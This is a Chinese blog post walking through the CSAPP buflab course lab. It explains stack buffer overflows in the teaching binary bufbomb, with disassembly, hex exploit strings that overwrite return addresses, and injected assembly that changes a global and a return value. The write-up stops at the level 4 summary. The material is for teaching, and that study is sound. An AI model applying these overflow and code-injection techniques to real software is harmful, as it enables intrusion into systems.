CSAPP LAB---buflab-handout(缓冲区溢出实验）

最新推荐文章于 2022-05-14 10:37:01 发布

Yongzhi Huang Jackie

最新推荐文章于 2022-05-14 10:37:01 发布

阅读量3.6k

点赞数 6

分类专栏：程序设计计算机系统 C语言文章标签： buffer c语言反汇编缓冲区溢出计算机系统

本文链接：https://blog.csdn.net/jackiefrederickhyz/article/details/51659979

版权

C语言同时被 3 个专栏收录

20 篇文章 1 订阅

订阅专栏

程序设计

13 篇文章 0 订阅

订阅专栏

计算机系统

10 篇文章 0 订阅

订阅专栏

LAB5

基础准备：

题目解析：

首先阅读那长达11页的英文文档，获悉本实验为模拟缓冲区溢出。

使用tar xvf命令解压文件后，会有3个可执行的二进制文件bufbomb，hex2raw，makecookie。

bufbomb运行时会进入getbuf函数，其中通过调用Gets函数读取字符串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。getbuf函数如下所示：

/* Buffer size forgetbuf */
#defineNORMAL_BUFFER_SIZE 32
 
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

在这个文件中，gets函数用来获取数据到缓冲区，而gets函数不会对输入的数据进行边界检查。所以当我们的输入超过了缓冲区的大小（这里是32）时，超过缓冲区的数据就会覆盖内存中用作其它用途的数据，从而改变程序的行为。至于为什么会有hex2raw文件，是因为如果gets从终端读取时，无法输入一些不可打印的数据，比如想输入控制字符0x09，于是就有了hex2raw这个程序，这个程序将16进制表示的字节转换成二进制字节数据。

至于makecookie就很明显了，就是防止同学作弊。让每个同学都有一个唯一的提交作业userid，从而计算出不通的cookie值。这里我使用./makecookie 201308060111得出cookie值0x5ffdc4e4

1. Level0: Candle (10 pts)

英文PDF说明中写到：

Your task is to get BUFBOMB to execute the code forsmoke when getbuf executes its return statement,rather than returning to test.Note that your exploit string may also corrupt parts of the stack notdirectlyrelated to this stage, but this will not cause a problem, since smokecauses the program to exit directly.

题意解析：这里就是要让test运行完后，不直接返回退出。而是跳到smoke函数处，继续运行，而当smoke运行完毕后，才退出。

Test源码：

void test() { 
  int val; 
  /* Put canary on stack to detect possiblecorruption */ 
  volatile int local = uniqueval(); 
 
  val = getbuf(); 
 
  /* Check for corruption stack */ 
  if (local != uniqueval()) { 
    printf("Sabotaged!: the stack has beencorrupted\n"); 
  } 
  else if (val == cookie) { 
    printf("Boom!: getbuf returned0x%x\n", val); 
    validate(3); 
  } else { 
    printf("Dud: getbuf returned0x%x\n", val); 
  } 
} 
Smoke源码：
void smoke(){ 
  puts("Smoke!: You calledsmoke()"); 
  validate(0); 
  exit(0); 
}

解答：

所以，首先反汇编getbuf函数：

0x08049268 <+6>: lea -0x28(%ebp),%eax

0x0804926b <+9>: mov %eax,(%esp)

0x0804926e <+12>: call 0x8048c32<Gets>

从上面三句，可以看到lea把buf的指针地址(-0x28(%ebp))传给了Gets()，也就是buf距离return address有0x28 + 4(%ebp的字节数)=0x2c(44)个字节的距离（依据栈结构）。于是只要在buf开始处随便填入44字节（由于Gets是通过换行符\n（ASCII值0x0a）界定输入终止的，所以前44字节只要不是0a就可以），并在return address中填入smoke的地址就行了。

可以通过下面的图进行理解：

接下来找到smoke地址：

为0x08048e0a

所以构造0.txt文件：

30 30 30 30 30 3030 30 30 30 30 30 30 30 30 30 30 30 30 30

31 31 31 31 31 3131 31 31 31 31 31 31 31 31 31 31 31 31 31

32 32 32 32

00 08 04 8e 0a

发现没有通过。

后来发现，我的电脑是x86的处理器，是小端序，也即低有效字节位于低地址端，最后一个字是0x08048e0a，从低地址到高地址就应该是0a 8e 04 08。

再次调试:

还是没有通过，发现0a是\n

然后尝试讲0a写成0b(这里相当于延长了原函数的运行，（延长部分是smoke函数）。没有函数调用，不过运行结果可以很好的符合题目要求)（为什么说不是调用？因为这里没有push %ebp）

30 30 30 30 30 3030 30 30 30 30 30 30 30 30 30 30 30 30 30

31 31 31 31 31 3131 31 31 31 31 31 31 31 31 31 31 31 31 31

32 32 32 32

0b 8e 04 08

调试正确：

2. Level1: Sparkler (10 pts)

Similar to Level 0, your task isto get BUFBOMB to execute the code for fizz rather than returningto test. In this case, however, you must make it appear to fizz as if you havepassed your cookie as its argument. How can you do this?

题意解析：

在level 0的基础上，使getbuf函数的返回指向fizz函数，同时将fizz函数的参数置为userid对应的cookie值。

Fizz函数源码：

void fizz(int val) {
 if (val == cookie) {
    printf("Fizz!: You calledfizz(0x%x)\n", val);
    validate(1);
 }
 else
    printf("Misfire: You calledfizz(0x%x)\n", val);
 
 exit(0);
}

解答：

先找到fizz函数的首地址：0x08048daf

这里要注意一点，在level 1中验证了cookie。这里除了要将fizz函数入口输入到getbuf中返回地址处外，还应将cookie值0x5ffdc4e4输入到fizz函数返回地址的上一个4字节处（fizz函数返回地址上一个4字节处为传入fizz函数参数储存的地方！）。

可以通过下面的图进行理解：

构造文件：

调试运行：

调试成功。

3. Level2: Firecracker (15 pts)

Similar to Levels0 and 1, your task is to get BUFBOMB to execute the code for bang rather than returningto test. Before this, however, you must set global variable global_value toyour userid’s cookie. Your exploit code should set global_value, push theaddress of bang on the stack, and then execute a ret instruction to cause ajump to the code for bang.

题意解析：

令getbuf调用后不执行test函数，而是执行bang函数（默认会执行test函数），但是同时我们要修改global_value的值为cookie值。然而，global_value是一个全局变量，它没有储存再栈里面。所以在程序执行过程中，只能通过赋值语句来改变global_value的值。即这次我们不仅要让函数跳到bang中，而且要模拟一个函数调用来进行赋值。

Bang函数源码：

int global_value =0;
void bang(int val)
{
if (global_value ==cookie) {
printf("Bang!:You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire:global_value = 0x%x\n", global_value);
exit(0);
}

解答：

首先，我们实现改变global value的功能，反汇编bang函数

0x08048d58 <+6>: mov 0x804d10c,%eax

0x08048d5d <+11>: cmp 0x804d104,%eax

从这两句汇编代码中可以看到，value存放在0x804d10c，而cookie存放在0x804d104处。

写出代码，保存到2.s

代码一：(下面说明代码一的原理，代码二的原理和代码一差不多，就是一个位置变换)

movl$0x5ffdc4e4,%eax

movl$0x804d10c,%ecx

movl %eax,(%ecx)

ret

代码二：

movl $0x5ffdc4e4,%eax //将cookie值存入eax寄存器

movl %eax,0x804d10c //将eax中的（cookie）值存入global_value的地址

pushl $0x08048d52 <-将bang作为返回地址压栈

ret ;//通过ret调用改变eip转到bang函数中

因为我们最终要传入gets中，汇编代码是不可以直接传入的，只能传入二进制/十六进制。所以，我们用objdump将上面代码转化成二进制。

先用objdump将.S（汇编）文件转化为.o（二进制）文件，然后显示出来。

即得到了汇编代码的二进制组成。

接下来，我们就要构造二进制代码，让缓冲区溢出到bang函数了。在前面反汇编bang函数的图上，我们可以看到bang函数的入口为0x08048d52

可以通过下面的图进行构造：

将getbuf的返回地址改成buf的首地址运行，上一个栈的4字节改成bang函数的地址。这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数（指令），再通过恶意函数中的ret指令跳转原栈中bang的入口地址，再进入bang函数中执行。

所以，我们现在要得到buf在运行时的地址。

这里，我们通过GDB调试得到buf地址：

得到buf运行地址：0x556832d8

所以构造文本文件2.txt：

代码一：

b8 e4 c4 fd5f

b9 0c d1 0408

89 01

00 00 00 00 00 0000 00 00 00

d8 32 68 55

52 8d 04 08

代码二：

验证：

4. Level 3: Dynamite (20 pts)

Your job for thislevel is to supply an exploit string that will cause getbuf to return yourcookie back to test, rather than the value 1. You can see in the code for testthat this will cause the program to go“Boom!.” Your exploit code should set your cookie asthe return value, restore any corrupted state, push the correct return locationon the stack, and execute a ret instruction to really return to test.

题意解析：

这次要求getbuf调用后，返回到test当中，但是不能破坏为test函数维护的堆栈状态（test函数加了堆栈状态检测），同时要让test函数调用getbuf后的返回值（val）为自己的cookie。

Test源码：

void test()
{
    int val;
    volatile int local = 0xdeadbeef;
    val = getbuf();
    /* Check for corrupted stack */
    if (local != 0xdeadbeef) {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    }
    else {
        printf("Dud: getbuf returned 0x%x\n", val);
    }
}

首先，处理第一个要求，令恶意代码不能破坏getbuf调用函数后test的堆栈状态，既需要返回到test中，也需要恢复SFP即test的栈基址EBP，而恢复栈基址有两种方法：一是在恶意代码中设置，二是在exploit string中的合适位置填入SFP。

先反汇编test函数，找到getbuf返回后调用指令的地址：

0x08048e4b <+15>: call 0x8049262 <getbuf>

0x08048e50 <+20>: mov %eax,%ebx

为0x08048e50

这里使用第二种方法：

所以先写汇编代码：

movl $0x5ffdc4e4,%eax ;返回cookie值

pushl $0x08048e50 ;返回地址指向test中的getbuf调用后一条指令

ret ;返回test继续执行

然后将其转为16进制

由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值，通过gdb得到保存的ebp寄存器指向的值并结合上一题的解题思路：

这里ebp应该取0x55683330，因为这里getbuf是函数调用，是寄存器指向的值！

构造文件：

5. Level4: Nitroglycerin (10 pts)

For this level, we have gone theopposite direction, making the stack positions even less stable than they normallyare. Hence the name “nitroglycerin”—an explosive that is notoriouslyunstable.When you run BUFBOMB with the command line flag “-n,” it will run in“Nitro” mode. Rather than calling the function getbuf, the program calls aslightly different function getbufn:

题意解析：

最后一关的要求和上一关一致，不过需要加上-n参数运行bufbomb，此时会进入testn和getbufn函数而不是test和getbuf函数。

getbufn源码：

int getbufn()

{

char buf[512];

Gets(buf);

return 1;

}

这个函数与getbuf所不同的是，分配了512字节的字符数组，而调用getbufn的函数会在栈中随机分配一段存储区，这导致getbufn使用的栈基址EBP随机变化。此外，在Nitro模式运行时，bufbomb会要求提供5次输入字符串，每一次都要求getbufn的返回值为实验者的cookie。

Level4的其他要求与Level3相同，但它要求提供同一个恶意代码，在getbufn被调用5次后，最终仍返回到testn函数中，且不能破坏testn的堆栈状态，并使返回值为cookie。

总结一下，编写恶意代码需要满足（1）恢复SFP；（2）设置getbufn返回值为cookie；（3）跳转到testn中调用getbufn后的下一指令地址。